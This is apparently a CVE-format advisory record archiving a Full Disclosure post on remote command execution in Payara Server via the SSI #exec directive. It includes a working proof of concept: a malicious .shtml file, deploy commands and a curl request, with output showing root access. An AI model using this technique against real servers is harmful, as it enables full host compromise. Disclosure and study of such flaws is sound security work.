{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Payara",
          "vendor": "Payara",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nPayara Server contains a vulnerability in its Server-Side Includes (SSI)\nimplementation that allows arbitrary operating system command execution via\nthe #exec directive. The issue occurs because user-controlled SSI\ndirectives are passed directly to Runtime.exec() without validation,\nsanitization, or restriction. An attacker who can cause the server to\nprocess an SSI file (e.g., .shtml) can execute arbitrary OS commands with\nthe privileges of the Payara process. This vulnerability results in remote\ncode execution when SSI processing is enabled and accessible.\n\n*Affected Product:*\n\n   - Payara Server (Community \u0026 Enterprise)\n   - Affects versions where:\n      - Server-Side Includes (SSI) are enabled\n      -  SSIExec command handling is available\n      - #exec cmd is not explicitly disabled\n\n*Impact:*\n\n   - Successful exploitation allows an attacker to:\n   - Execute arbitrary OS commands\n   - Read/write files on the server\n   - Install backdoors or persistence mechanisms\n   - Pivot to internal networks\n   - Fully compromise the host system\n\n\n*Root Cause:*\n*The vulnerability exists in the following class:*\norg.apache.catalina.ssi.SSIExec\n\n*Specifically, the process() method executes untrusted input directly:*\nelse if (paramName.equalsIgnoreCase(\"cmd\")) {\n    Runtime rt = Runtime.getRuntime();\n    Process proc = rt.exec(substitutedValue);\n\n\n*Proof of Concept (PoC):*\n*Malicious SSI File:*\n\u003c!-- poc.shtml --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\n\u003c!--#exec cmd=\"id\" --\u003e\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n*Deployment:*\njar cf ssitest.war .\n$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war\n\n*Payload:*\ncurl http://localhost:8080/ssitest/poc.shtml\n\n*Output:*\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\nuid=0(root) gid=0(root) groups=0(root)\n\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/19"
        },
        {
          "url": "http://localhost:8080/ssitest/poc.shtml"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0007",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19",
            "automated": true,
            "contentSha256": "30e1d1d387b6afddce1098ee16d0b6e5cfa021ee513c8773ba0f68459e4a60e6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:51:02Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0007"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}